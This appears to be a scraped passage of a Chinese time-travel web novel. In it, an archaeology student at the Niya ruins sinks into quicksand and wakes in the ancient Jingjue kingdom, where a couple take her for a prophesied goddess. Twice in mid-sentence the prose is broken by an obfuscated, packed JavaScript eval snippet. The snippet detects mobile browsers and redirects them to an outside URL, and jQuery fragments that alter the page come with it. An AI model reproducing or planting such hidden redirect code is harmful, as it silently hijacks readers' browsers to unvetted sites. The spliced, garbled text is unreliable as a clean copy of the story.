《大漠祇》 1. 尼雅再现 关山漫道,大漠驼铃。 戈壁上红日烈烈当空,考古队的年轻队员们起初还被巍峨的雪山和广袤的原始森林深深震撼,在这几天行走在日光晃目、地气蒸腾的黄沙后,欢欣雀跃的心情随着驼铃叮叮当当的反复,日渐衰落,一个个如枯萎的植物般沉默着。 “师兄,在骆驼上颠了快三天,这周围的景色除了沙子还是沙子。” 身材略显肥胖的年轻人将一条毯子套在头上,露出一双眯缝的眼睛和破皮的嘴唇,喊出来的话语有些不耐,干燥的荒漠旅程消磨了这行人初来时的热情。 旁边瘦高个的男生一头浓密寸头,推了推鼻梁上的厚镜框,鼓励他说:“小白,打起精神,要不咱们聊点啥,比如你觉得先有鸡还是先有蛋?” 被叫做小白的男生听了更泄气,说:“老温,自从跟你一个寝室后,聊天的内容都是社死级别的无聊。”小白干脆用毯子包住整个头,拒绝沟通。 老温并不生气,转头对他们的领队问:“赵竭小师兄,你说呢?” 走在前面骆驼上的青年回头,他五官深邃背脊挺直,虽被大家称为“师兄”,其实年龄反而比他们小上一岁,刚刚二十岁却研究生即将毕业。赵竭顶着一张帅气的脸,开口却是老学究的沉稳,他认真思索了一秒,回答:“这个问题要看从哪个方向展开了。” 老温加快了骆驼的步伐,兴奋地追赶到少年身边,神秘兮兮地说:“小师兄,讲实话,你是不是林教授无血缘关系的亲儿子?” 他们都是林教授的学生,虽然不同届,却都是通过专业课考试、体能选拔的佼佼者,接受包括户外生存和体能训练后,最终参与到这个项目。林教授与向导走在最前面,正在探究着什么,青年放缓骆驼的步伐侧过身,目光看向走在最后的唯一女生,开口道:“辛薇师妹,你说呢?” 一双黑眸抬眼晶莹剔透,璀璨的笑眸中有流光溢彩,裹着严实的面纱下想见笑容亲切,拉下遮掩口鼻的纱巾,露出小巧的下巴。女孩笑颜清浅,说:“作为考古专业的学生,鸡与鸡蛋无非是物种进化循环中的两个不同元素,少了其中任何一个这个循环都无法继续存在,所以不存在孰先孰后的问题。” 小白也靠了过来,头从毯子里探出来,笑呵呵地说:“薇薇,可接受反驳?” 辛薇点头:“必须接受。” 女孩嘴角一弯,她很喜欢小队里的氛围,大家相处不拘一格,即便自己是最年轻的而且是唯一的女生,也没有故意相轻的习惯。老温平日最宠小师妹,不会故意刁难她,小白怒其不争地将话题丢给领队赵竭,“师兄,加油。” 赵竭含笑不语,几个人的讨论让旅途没有那么困乏,他很愿意配合大家的兴致,于是说:“宇宙的起源,哲学的困惑,讨论这些前世上必须先有一个传统意义上的卵,或者一个能孵出鸡的蛋,但事实上并没有。” “等等,别说题目假设不成立,形而上学的层面也行啊。”老温嗓门大,赶紧看了眼林教授,年轻人之间的相处轻松活跃,林教授对思想火花的碰撞也乐见其成。 小白无奈摇头,道:“师兄,说好的反驳呢?” 小白挡风沙的造型有些滑稽,干脆扯下卡在鼻子上的毯子,露出了胖嘟嘟的圆脸,极是认真。赵竭见他这样,只好也认真起来,继续说:“犹太教及基督教的神话中提到,上帝创造了鸟类,并让它们繁衍后代,但没有提到创造蛋……” 忽地,辛薇扑哧笑出声。 老温觉得赵竭好敷衍,还在等他下文,然后……也悟了。 只有小白,还在等他反驳小师妹的长篇大论,然而,他郁闷了:“没了?” 赵竭点头:“嗯。” 小白满头线:“小师兄,你故意的。” 赵竭无奈:“我已回答了你的问题。” 对,就是没有蛋。那么,鸡赢了。 老温不管小白的心理阴影,他习惯性推推眼镜,似乎在理论上心有不甘,宗教角度也是他们考古生研究的内容,还跟他的研究方向有关,接着话题说:“最近,我刚看了一篇关于鸟类OC蛋白演变的文章……” 小白眼看聊天要朝社死方向发展,忙对老温翻了个白眼,放弃挣扎,眼看他从生物学衍生到莫比乌斯环,辛薇辅修数学专业,对自然科学里的无限拓扑结构产生了浓厚兴趣,几个年轻人海阔天空地探讨着,只有对古建筑感兴趣的小白,默默将头缩回毯子里,装不存在。 前面不知林教授和牧民克里雅什么时候停下了聊天,对他们会心一笑,年轻人活力无限,一行人的身影被斜日投在沙丘上,欢笑嘻闹,驼铃阵阵。 到了日暮时分,气温骤降,低得让人簌簌发抖。 在牧民克里雅的向导下,一行人跋涉三天三夜终于靠近了新遗址坐标。林教授远眺了远处的石砾土丘,有几根不起眼的断木出现在天边的废墟上。 “快看,那是尼雅遗址?”老温惊呼。 二十世纪初,尼雅文明源自精绝古国,她的出现打开了整个西域未知世界认知的大门,英籍匈牙利人斯坦因三次探险古西域的遗迹,也打开了掠夺破坏新疆古代文明的惨痛历史。随着大部分珍贵藏品远渡重洋,导致原始文献匮乏,林教授是国内仅存的吐火罗文和佉卢文的翻译专家。 神清气爽的女孩头裹素色纱巾,驾着骆驼步履坚定,额间几缕碎发随风飞扬,明眸微弯远眺,犹如珍珠般含蓄炫目,驾着骆驼小跑起来。几人也赶着骆驼,老温用手推推镜片,差点掉下来,小白始终落在最后。 赵竭鼓励男生们:“师弟们加油,咱考古男生不要面子的么?” 考古其实远比人们想象中的辛苦,除了扎实专业的知识外,还要有过硬的身体与心理素质,对这个横空出世的新生小师妹,男生们是服气的,她不仅专业成绩优异,在古文字上的天赋得到了林教授的认可,更是体能超强,身手敏捷。学校里爱慕她的男生不在少数,难得辛薇在对待追求者的态度上一视同仁,拒绝得如秋风扫落叶,绝不拖泥带水。 小白也喊了一声“驾”,嘴上很诚实:“在师妹面前,我等不需要面子。” 老温还能说啥呢,反正总有这个家伙拉低下线。 日暮时分,考古队终于抵达了新出现的遗址地域。 眼前情景蔚为壮观,肉眼可见的城墙、街道、房屋、佛塔形态依然保存完好,磅礴的气势可以与著名的古罗马庞贝古城媲美,雕梁画柱、佛龛壁画,无一不精致。重现世人眼前的古城绵延数里,大部分仍被黄沙覆盖,但暴露在外的一切已然震撼众人。 看着眼神中尽是兴奋之情的几人,林教授强按耐住内心的激动,“同学们,在其他联合考古队到达之前,切不可破坏任何原有模样,一会儿大家先做扎营,抓紧时间拍些影像资料。” 历史上西域是个动荡变幻莫测的土地,所谓三十六国之说并不详实,从张骞出使西域正式建立东西方丝绸之路后两千年,很多国家之间相互往来,或吞并,或强大,或消失,或终将消失在历史的尘埃里。不可否认的是,无数民族部落在这场兴衰中,不可磨灭地留下了自己的痕迹,最终孕育出西域文明这颗璀璨明珠。对于科研人员来说,任何能帮助他们了解那个神秘文明的发现往往比金银珠宝更有意义。 热爱古建筑的小白,两眼放光,“太了不起了,林教授,您快看,这白杨木的支柱加工,这卯榫装配的精准,还有这雕刻,白灰泥的墙壁,红柳枝的斜纹席……谁能想象,数千年前的工艺能保留地如此完好。” 林教授指着双托架楣梁之下的飞檐雕饰,“这四瓣四萼花图案在印度犍陀罗雕塑中很常见,虽并不完整,但技艺可见一斑,古人的智慧我们难以窥其门径。” “林教授,我去看看附近有没有水源。”操着生 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出发前,辛薇特意去当地博物馆看过这件珍宝,见大家看过来便解释说:“那是一件色彩艳丽的织锦护膊,出土于一处古精绝无名男女双人合葬墓中,因织锦上清晰可辨的‘五星出东方利中国’轰动一时,然而这句话出自《史记·天官书》,其实是一句占辞,五星对应的是岁星、荧惑、镇星、太白和辰星,如果同时出现在东方天空中,则有利中原天下。” 林教授赞许地点头,“不错,很严谨。” 林教授继续道:“五星出东方利中国,虽在现代意义上有着有趣的契合,然而咱们考古人可不能盲目迎合猜测,要对历史抱着敬畏的考证,才是我们的专业操守。” 老温对文献的旁门解读有异样的热情,于是提了一句:“古人的观星相术自是为了趋吉避凶,刚提到五星,古书中记载的“荧惑守心”天象是不是就在这几天?” 辛薇仰头望向流云星空,“荧惑被记载为勃乱、残贼、疾、丧、饥、兵等不祥之兆,回到古代,不是帝王崩逝,便是天下大乱的至凶之相。” 小白说:“小师妹不会也相信这些怪力乱神吧?” 对于他们这些考古队人员来说,说不信神鬼,却也抱有一颗敬畏信仰之心,他们工作的意义正是探索未知的真相。老温这时故作神秘,“我今天也有个有趣的发现,其实这是一座……鬼城。” “你见鬼了?”小白瞪大眼睛。 “去去,难道鬼城就是要见鬼吗?”老温白了他一眼,清清嗓子,“如果说这是一座被遗忘了千年的城池,可是民宅物品齐全,陶罐的作坊码放着器皿,牲畜棚里的牛羊尸骸也在,但唯独没有……人的痕迹。如果是遭遇战火,肯定会有横死散落的尸骨,如果是迁移,没道理不带走牲畜财物,如果既不是天灾又不是人祸,那精绝国的消失之谜可就匪夷所思了。” 小白凑过来,神秘兮兮地猜测,“你们说,有没有可能,他们是被外星人绑架了?” 老温瞪了他一眼,这个小白除了对古建筑小有所成,其他方面简直就是考古系的耻辱,“别打岔,我还没说完呢……在十号遗址发现了唯一的残骸,是一只被绑在柱子上的狗,骨头完好,说不定是被活活饿死的。” “说不定,如今那只狗转世成人,稀里糊涂地吃得白胖白胖,然后被前世的灵魂召唤回来还愿,聊着外星人绑架人类的故事……” 小白听出老温在讽刺他,一脚踢来。 赵竭初步清理了现场,划分出几个区域,“我在城中宫殿群发现一个类似古塘遗址,塘壁上有很多奇怪的纹路和古祭文,像镏是了金的佉卢文,师妹,你一定感兴趣。” 辛薇眼眸明亮,正要多问些细节,林教授看天色已晚,合上笔记本。 “古精绝国据说因贫水干涸而消逝在沙漠之中,祭文可能有特殊意义,这座古城到处透着蹊跷,大家在沙漠中行动小心流沙,早些休息吧。” 几人起身回到帐篷,谁也没留意不远处一闪而逝的黑影。 2. 荧惑守心 夜已深,忽高忽低的风声,犹如沙漠上夜行的魔鬼。 篝火还在燃烧,隔壁的帐篷低低传来起伏的鼾声,在这种说不上静寂的环境中让人感到心安。辛薇身体很疲惫,却一丝睡意也没有,今天林教授今天的表现让她觉得并不寻常,总感觉有什么事情要发生。 一个黑影在她的帐篷上晃过,参与大漠科考前辛薇受过各种训练,对付老温和小白绰绰有余,她掀开帐篷的门帘张望,一道身影朝古城方向而去,来不及叫醒众人,她拎着手电筒,钻出帐篷追上。营地距离古城不过百米距离,那人影转身消失在入口的夜色中。可能太过紧张,辛薇没有注意到天上流云正散去,夜空中的群星像被揭开面纱的棋盘,三颗最亮的星缓慢靠近。 夜幕下的追逐,黑影兜兜转转来到宫殿废墟,辛薇不敢用强光,借着那人手上的光源立刻认出他的身份——向导克里雅。 克里雅是个二十多岁的年轻牧民,留着很短的头发,汉语说得十分流利,对沙漠熟悉,机灵健壮,又了解些许历史知识,才被聘来做考古队的向导。只见克里雅围着石柱转了几圈,对着几个坑洼一通撬击,见没什么收获,径直进了宫殿遗址,很可能刚才偷听了队员们对初勘的汇报,目的性很明显。 “鬼城”里没有鬼,人的心里却住着鬼。 辛薇藏在殿门口的石柱后,观察到他正只见翻找每一个角落,捡到值钱的东西就塞进口袋。宫殿里光线昏暗,辛薇攥着没开光的手电筒,不远处克里雅的脸阴郁莫测,像被恶鬼附了身,她不敢轻举妄动,考虑是否该回去叫人。 思忖间,克里雅用嘴咬着手电筒,打开一个陈旧的木箱,好像发现了些什么,粗暴地丢出破旧的木牍卷书,然后拿出类似金器的杯盏,上千年的文献本就保存不易,看着散落一地的木简,辛薇再不能忍,握紧手电筒准备突袭。 天空中,夜幕开始呈现诡异的橘蓝色。 克里雅喜形于色,不小心抖掉了光源,手电筒滚下台阶,光柱正好照出辛薇来不及隐藏的身形。 克里雅被吓了一跳,大喝:“谁?” 辛薇反应很快,躲在暗处佯装喊人:“师兄,人在这!” 虚张声势只是缓兵之计,打草惊蛇之下辛薇不想与克里雅正面冲突。果然,克里雅仓皇逃窜,辛薇打开手电筒朝营地方向照射几下暗号,然后就追了出去。他们一前一后,很快来到地势开阔的遗址中心,这里正是古塘遗址。 克里雅停住脚步,回头看到辛薇眼神一黯。 “克里雅,这么晚了怎么还不睡?”辛薇假装看不到他口袋露出的东西。 “太晚了,辛同学也没睡。”他口音浓重,逐渐靠近。 阴影里看不出克里雅的表情,当他站立在露天的星光下,才映照出嘴角诡异的笑容。 突然,他大步上前,闪身到辛薇身后,猛地推了女孩后背一把。辛薇早有防备,但还是失去了平衡,拉住克里雅衣袖,两人同时滚落沙丘。额头不小心撞到石壁,一丝血迹抹在青石的凹凸之上,血迹像是激活了那些奇怪符号,镏金字好像有了生命。 夜空天象大胜,耀眼的星光折射在石壁上,字迹华光流溢,沙海异动。 女孩忍着额间疼痛,只顾得看天空惊呼:“荧祸守心。” 克里雅反射性遮住眼,不料脚下流沙翻滚起来,挣扎惊恐的男人犹如祭品,正在被无情吞噬,辛薇也深陷其中,仰躺在流沙上不敢乱动。一丈开外,克里雅从惊恐挣扎到被生生吞噬,只在瞬息,人消失地无影无踪。 辛薇仍漂浮在沙海,静静仰面无奈望着夜空,三星连珠,传说中的至凶之兆。 流沙愈发狂暴起来,巨大的能量搅动着起时空的漩涡。如同一尾孤舟,辛薇生生被拉扯向沙海深处。她至始至终没有看到,石壁上沾染她鲜血的镏金古文字符,像打开了时空的洪流,召唤着命定之人,深陷流沙的女孩与死神做着最后的抗争,眼看沙子一点点淹没她的胸口、脖子,渐渐地无法呼吸,辛薇在闭上眼睛的瞬间,终于看到了一闪而逝的耀眼金光。 一条生命被吞噬,沙海恢复了平静。 …………………………………………………… 死亡,大概就是无尽的混沌吧。 她不知道飘荡了多久,好像在梦里人的身体没了束缚,可以上天入地,一会儿追逐光亮,一会儿沉沦黑暗,灵魂似乎都要飘离而去;好像还能看见逝去的父母在微笑,并没有痛苦,无知无觉和毫无时间概念的随波逐流,一直这样下去,可能也是个不错的主意。 忽然间身体传来痛疼,手指湿湿痒痒的,辛薇忍不住舒了口气,似乎能呼吸了。 她不是死了吗?怎么还有知觉? 使劲睁开眼睛,辛薇又看到朦胧天色,浅浅的残月挂在蓝青色的天幕,淡淡的晨光中薄雾笼着雪山森林,衬得山色幽静如画。她半个身子浸泡在水里,眼前有个异族女人眨着浓密的睫毛,嘴型开合,好像在关切唤她,身边还有一只狗。 女人高鼻深目,头发微卷,身材纤瘦,岁月虽然在她脸上刻下风霜,但慈眉善目,感觉让人很亲近。那只黄白色卷毛的猎犬,时不时舔辛薇的手指,原来手指感觉的是这个小家伙。 “你醒了?”这一次她说的是汉文。 辛薇动了动身子,浑身浸湿头发凌乱,头重脚轻地强撑起身体,“你,是谁?这是哪?” “这里是,祖慕海(注:绿宝石一样的湖)。” “我的名字……善爱。” 异族女子的汉文口音浓重,努力地表达自己的善意,她抚着身边的狗狗,又对辛薇解释道:“这是努尔,它找到了你,在水边。” 名叫努尔的猎犬,伸着舌头盯着她,看呆愣的辛薇没什么表示,有点委屈看旁边的主人善爱,主人轻笑,抓抓它颈间的白毛,努尔瞬间心花怒放摇起毛茸茸的尾巴。 辛薇按住头痛欲裂的额头,海藻般的发丝缠绕湿哒哒地粘在脸颊和胸前,眉间的伤口隐隐作痛,“我我没死?咳咳……” 呼吸不稳连番咳嗽,记忆排山倒海般的袭来,尼雅古城,考古队,荧惑星,克里雅,流沙…… 远处又跑来一个异族男人,粗眉蓄须健壮高大,边跑边对她们喊着异族的语言,看起来很是紧急,立刻善爱也慌乱起来,两人一起将晕眩的辛薇拖出湖水,带着努尔迅速躲到不远处的灌木丛。 在暮色暗影的掩藏下,善爱紧紧掩住辛薇的嘴巴,一动不动地盯着外面,努尔的眼光亦是充满警惕,竖着耳朵如临大敌。辛薇不知道发生了什么,过了没多久传来马蹄声,由远及近,几骑人马在森林与水域之间飞踏,溅起无数混着泥土的水花。 来人黑衣蒙面,身穿窄袖劲装,腰带弯刀,骑术矫健,为首之人骑着通身黝黑的战马,墨发飞扬,冷冽让人不寒而栗。努尔夹紧尾巴,止不住地颤抖,不敢发出嚎叫。微小的动静激起狼一样的男人警觉,他目光犀利,如飞箭射向他们藏身的方向,陌生的语言传来带着一丝狠戾。 早春薄寒侵人肌骨,辛薇浑身湿透冰水滴落,身体和努尔一样无法控制地发抖。 善爱心想不好,无奈她暗暗给努尔打了个手势。显然不太情愿,忠心的努尔乌溜溜的眼睛,可怜兮兮地看了主人一眼,平时沙迦牟韦就训练努尔躲避猎人的猎杀,可是主人的箭头不带杀气啊……央求无望的努尔,一转眼呜咽着飞驰出木丛,不要命地绕着弯朝着森林深处跑去。对于这个突然出现的猎物,一张弓弩缓缓张开拉弦,在即将射杀的一瞬,被人拦下。为首之人脸上带着半张铜鬼脸的面具,下颌线侧脸清晰锐利,墨发肆意散在身后,眼神猛然朝湖边木丛投来,好似一道利箭,在黑暗里寻找猎物,令人心惊胆寒。而后,鬼脸面具微一挥手,众人拉紧缰绳,策马消逝在祖慕海的晨光中。 当再听不见马蹄声,善爱才松口气,浑身冷汗地放开捂着辛薇的手。身后的男人安抚她的肩膀,两人对辛薇一笑,指指那些人消失的方向。 “匈奴人。” 高大的男人眼神肃重,汉文说得明显比善爱更好,“他们,杀人。” 眼前的一切,如果她没有在做梦,那么就是……她穿越了。在辛薇呆滞的时候,善爱略带羞涩地介绍,“这是我的爱人,沙迦牟韦。” “你好……我,是辛薇。” …………………………………………………… 雪水翻滚的河水,充沛地灌溉着翠绿的两岸生命,郁郁葱葱的森林里有兽鸣鸟叫,沙迦牟韦进入了森林,听说森林里有吃魂魄的妖怪,虽然努尔熟悉四周能够自己回来,但善爱显然还是不放心,让男人寻了出去。 男人离开后,善爱看着湿漉漉的衣裤的辛薇,赶忙脱下雪狼毛皮做的小袄给她。她裹着温暖的衣衫,牙齿打着冷颤道谢,“多谢阿姊。” 女子微微一笑,眼角有温柔的鱼尾纹,做着手势指向不远的山间,“我家,就在前面。” 辛薇点头,心中有太多疑问,然而现在她实在虚弱,只好暂时顺从地随女人去往她的家。 山间的翠绿之间,有一间繁花小院,与这天地自然相融,温馨而不显眼。 善爱取出一套烟青色的异族衣裙给辛薇,待女孩换好从内室走出,异域的妆扮与柔和的眉眼相得益彰,纤腰窈窕,流光黑瞳迎着初生的朝阳熠熠生辉,泛着潮热的脸庞像天山脚下三月含苞待放的杏花,清丽潋滟。 善爱带着药罐进屋,便看到这样一个女子。 片刻愣神,她才放下热腾腾的药罐,倒出一碗热气腾腾的药汁,夹带手势配合她的汉文,道:“你,着了凉,这是党参汤,趁热喝。” 辛薇披着头发从胡床边走来,头些许恍惚,脑子里有很多疑问却十分谨慎,在善爱善意的凝视下接过药碗,浅浅一笑,“多谢阿姊。” 药汁凑近唇边,轻轻晃动药汁,辛薇并没急着入口。 善爱敏感和善,看出了女孩的防范之心,伸手又倒出一碗,“我,身体不好,也常喝这个。” 简朴的摆设,没有任何现代化设备的木屋里,辛薇看眼前的女人默默喝光药汁,片刻尴尬也一饮而尽,竟觉得回味略甘,细细品尝,还有淡淡的枸杞清香。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492961|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛薇还回碗,这次感谢地更显真诚。 “请问……阿姊可知道,这离精绝的营地多远?” 听到精绝善爱眼神一变,辛薇故意没有提到“考古队”的信息,她心中有个大胆的猜想,眼前女人看她的眼神有些迷茫,涌上焦躁,夹杂着辛薇听不懂的语言,竟做出了虔诚的祷告。辛薇静静站在一旁,暗中观察,待善爱祈祷之后,起身握住她的手,拨开她额头湿发,额间露出已凝血的伤痕,那是她滚下沙丘时撞在石壁上留下的印记。 “阿秭?”辛薇本能躲闪,手却被人紧紧握着。 善爱盯着她的额头,逆光中女孩的眉间朱砂瑰丽,纹路像传说中绽放的优昙婆罗花蕊,又像精绝文的图腾,善爱瞪大眼睛双手合十,双膝跪地。辛薇看着他们激动的神情,说着听不懂的异国语言,彼时她还不知自己的命运因此产生了多大的变化。 善爱用精绝语说:“……祖慕祇(qi)?” 辛薇听不懂她在说什么,愣怔着。 救命恩人朝自己膜拜,转身又跪拜远方的湖水碧空,再次向辛薇屈膝,惊醒过来慌忙扶住她,“阿姊,这是做什么?” 依然是精绝语…… “春日太阳升起时, 丰盈尼雅之水, 天神派下他的女儿, 降生祖慕海。” 印刻在脑海中的预言,眼里满是期冀和执着,善爱的汉文生涩,夹杂着精绝话,老巫师纥那说过,转世在碧海中的少女,额赐佛缘,就是拯救精绝的祖慕神祇。善爱眼神浮上哀伤,沧桑的眼中泪水溢出,她沉浸在悲喜交加的幻想,仿佛看到家乡的太阳、湖水,养育她的青葱草原,牛羊遍地的古堡城邦。 善爱越发激动:“天神保佑,十六年了,善爱终于找到祖慕祇。” 沙迦牟韦一人一狗走来,看到状似疯癫的女人急奔向小院,看她哭着笑着,终于用夹杂着汉文的方言,对她们说:“我们找到了……沙迦,我们能回精绝了。” 沙迦牟韦低声安慰可怜的女子,一旁辛薇脑子里只有反复两个字“精绝”! 虽不能完全听懂他们的对话,但对精绝这个名字辛薇是熟悉的。传说中的精绝国,消失在一千五百年前,辛薇从来没想到,那个富饶而神秘的西域小国出现在她的生命里,以近在咫尺的方式。 沙伽牟韦扶着善爱起身,叹了口气,眼神复杂地看向辛薇,换成流利的汉文,试图解释:“善爱病了,请辛娘子不要介怀。” 辛薇摇头表示不介意:“沙伽阿兄,你们是精绝人?” 沙迦牟韦蓄须黝黑的脸庞双眉皱起,片刻后点了点头,辛薇一时不知是惊喜多,还是惊吓多。 “这离官道很远,你是怎么落入湖水中?” 看着男人眼中的质询,辛薇也想知道,额头的疼痛提醒她眼前不是梦,她是真的来到了一个平行世界。 “以前的事……我记不清了。” 善爱听得懂汉文,她有自己的执着,“她是天神的女儿,沙迦,她是我们的救赎。” 善爱语无伦次,沙迦牟韦温柔地安慰爱人,沉默片刻才对辛薇据实已告:“我和善爱是被诅咒的人,不能踏足精绝。”他没有说,纥那的预言是关乎精绝国运的秘辛,只有王室和巫师才知道祖慕祇的存在,如果不是善爱和沙迦牟韦的禁忌之恋,以及沙迦牟韦的真实身份,他们也不会知道这个秘密。 当然,辛薇不知道这一切。 所谓的诅咒,总归执迷于救赎。从古至今,有多少奉天承运的帝王下罪己诏,祈求上天对衰败祸事的宽宥,然而,让一对私奔男女背负亡国骂名,精绝国的神操作,她是闻所未闻。 她试图安慰这对流亡的情侣,说:“天灾莫过人祸,比如水流枯竭,或许是沙漠地下暗河变迁所致,绿洲消失或许是过度放牧造成,天地不仁,以万物为刍狗,所谓诅咒,都是无稽之谈。” 善爱似有喘症,虚弱地听辛薇说话,不知她领会多少汉文,但惊异地看着眼前奇异的女子,眼神犹如初生朝阳般,越发蕴含希望,用精绝语回复辛薇。 沙迦眼神复杂地翻译了善爱的话:“我们游历且末、龟兹、焉耆、若羌、鄯善,直到来到这里绿宝石般的湖水,水中有五彩鱼的祖慕海,会转生给精绝带来幸运的神女。” 辛薇无奈地看着善爱:“阿秭,我很感激你的救命之恩,但我只是一个普通人。” 沙迦牟韦没有纠结这个话题,“辛娘子,有什么打算?”辛薇被他问住了,她当然没想到自己会穿越,接下来的剧情,她真的不知道啊。 “我想,找找回去的路。” 沙迦回应善爱紧握他的双手,给她放心的眼神,才主动开口问辛薇,“过些日子我们东行回精绝,如果你不介意,可以一同上路。” 辛薇眼前的男女努力释放着善意,尤其善爱的眼神,简直已经将她当神祇来崇拜,沙迦和善爱是自己的救命恩人,辛薇举目无亲,同行或许是个好主意。 见她点头,善爱眼中立刻充满喜悦,双手合十祈祷:“神祇赐福,佑我族人…” 3. 祖慕祇 三个月后。 太阳又照常升起,祖慕海地处昆仑山西麓腹地,随处是郁郁葱葱的雪松和绚烂的山花,沿着奔流的清泉雪溪,延绵不绝地流向远处,滋养着远方沙漠里的文明。 沙迦牟韦每天带上努尔打猎,为即将的远行做准备。 辛薇沉浸在千年前的世界,学习这里的语言,他们的文化,走在在处处生命力极强的林海草原,感受与后世迥异的西域。祖慕海畔,善爱跪拜在石头上诵读经文,这是她每日清晨必修的功课。 辛薇的语言天赋极强,善爱十分耐心地教授她识读,也就是后世她擅长的佉卢文,精绝语说得愈发流利。 “神之所赐,润吾子民,泽幸苍生,惜佑感之。” 辛薇走向清澈的湖水,遵循精绝的礼节双手合十,低声致祷文后才双手掬起水,送在嘴边喝完,不见一滴水流掉,她全身无佩饰修饰,对着湖水按善爱教的绾了发辫,起身回到住处。 善爱和沙迦牟韦在一片花海中为她修葺了一间小木屋。沙迦的雕刻技艺很好,屋檐下刻了盛开的芬陀利花,辛薇喜欢用手指滑过木梁上的纹路,感受跨越千年的惊叹。 《涅槃经》中曰佛亦名为大芬陀利,为最殊胜的莲花。芬陀利花,也就是世人所说的白莲花,想起后世的白莲花,变成对外表看上去纯洁,其实内心阴暗,虚伪清高女子的调侃,辛薇不由含笑,让人情何以堪。沿着花丛,在不远处采光最好的高处,有个平整山石,辛薇很喜欢这里的宁静。 因怕她寂寞,善爱慷慨地送来沙迦牟韦从龟兹带来的半卷译注佛经,据说是鸠摩罗什的手抄本,只有半卷,不知怎的,辗转流传到他们手中。 鸠摩罗什,辛薇第一次听到熟悉的名字,那是活跃于十六国时期的佛教名人。 辛薇如获至宝般,难得的是汉文和龟兹文对应的手抄本,她并不懂佛法,但这是鸠摩罗什最早流传在西域的经注,不仅对佛教在中原的发展意义深远,对她来说,更是珍贵的历史文献。 在清晨善爱诵经之时,辛薇也养成了阅读的习惯,有时还捡起地上的一小截红柳枝临摹。 她很惊异西域的汉化程度,这本译注佛经使用的是秦汉盛行的篆体,佛教是大概公元三世纪中叶在龟兹盛行,辛薇记得《晋书》曾有记载:“龟兹国西去洛阳八千二百八十里,俗有城郭,其城三重,中有佛塔庙千所。” 有了这些作证,她猜想这里应是魏晋时期的西域。 辛薇一边思量着,手下的字一边不觉化繁为简,化圆为方,化弧为直,慢慢写成了她顺手的端正小隶。她没留意到有脚步声走近,善爱双手捧着一杯热气腾腾的奶茶,不由得端详起眼前的少女,烟青色笼罩下的身姿美好纤细,头纱下宽松的墨色发辫,衬得专注的女子神情宁谧,眉眼美若远山含烟,额间一点朱砂痕,像是微微绽放的优昙花,似凝聚了圣洁灵气。 辛薇自然不知道,善爱之所以确认她是神女转世,正是因为她偶然磕在石壁上的这个细小如花瓣的伤痕。优昙婆罗花,在佛教里为祥瑞灵异之所感,乃天花,为世间所无,若如来下生出现世间,以大福德力故,感得此花。 善爱停在女孩几步外不敢打扰,等女孩似有所觉,放下手中红柳枝起身上前,接过奶茶面带浅笑,“多谢阿姊。” 善爱扯了扯袖子,温柔中略带敬畏。 祖慕祇,这是辛薇在这个世界的新名字。 她现在的处境似真似幻,除了最开始说出了自己的真实姓名,之后她谎称失忆,试图融入这个不可思议的环境。汉人的孤女出现在大漠,汉名可能会有意料不到的麻烦,在即将的远行前,辛薇索性接受了他们给的名字。 可她不知,祖慕祇正寓意着降生于碧海的神女。 看着地上的端正汉文,善爱认识的汉字不多,这段时间的相处知晓眼前女孩喜欢书籍,可是除了半本《阿弥陀经》,竟连像样的纸笔木简都拿不出。 她尴尬地从怀中掏出一叠绢帛,“这是我织的粗布,阿祇收下。” 山中布匹珍贵,善爱已经送她几件换洗衣物,怎好再收她礼物,“阿姊,我不能收。” 善爱笑上眉梢,少了些拘谨,“沙迦做了木简,路途不方便多带,我就织了这些粗布,给阿祇写字用。”接着,善爱又从怀中取出一样东西,“这是沙迦刚做好的,他说再去寻几块墨石才好上路。”一支毛笔摆放在织锦上,笔杆简单质朴,毛质柔软圆健。山中物资匮乏,辛薇很是感动,“这,太珍贵了。” 善爱摇头,“只要,阿祇喜欢。” 善爱仿佛将这句话当作了新的人生信条,这些日子将她照顾得无微不至,绢帛细腻,毛笔是羊毫,辛薇心中一惊,眸光闪动了两下,“这是古丽身上的毛发。” 古丽是她们家中唯一的母羊,听说沙迦牟韦今日会杀掉它,晒成肉干。善爱神色显出几分哀伤,“再过几天,我们就启程回精绝,古丽走不了远路,留下会被狼吃掉。” 弱肉强食是大漠的生存法则,辛薇默默叹息,随着精绝语的精进,从善爱那里学会的简单祈祷颂唱,婉婉道来,“世间一切皆因缘和合,缘聚则生,缘散则灭,故无生,也无死。” “阿祇,你将那半卷经书都背了下来?” 善爱不知辛薇过目不忘的本事,女孩点点头,善爱眼中怅然欣喜,“我和沙伽牟韦途经龟兹国,得到了这半卷经书,可惜无法领会佛法箴言,五蕴皆空,无有众苦。” 与善爱和沙迦相处的这段时间,她小心地隐藏自己的过往,保持沉默是目前最安全的相处之道。 “阿祇,可身子哪里不舒服?” 辛薇回过神,“就是听阿姊的经文多了,想到佛说多欲为苦,厄是因果。既然古丽将血肉奉献给了我们,不如就用阿姊送我的礼物,抄一段经文。” 抄诵佛经是功德无量的事情,善爱看女孩言行因缘际会,不由心中悸动感慨。 山中的生活简单惬意,她大部分时间陪伴善爱,有时也会在努尔的陪伴下四处游走,沙迦牟韦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492962|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不善言辞,却是个高明的猎人和智者,自从随他狩猎过一次后,辛薇就坚定了拜其为师的决心。 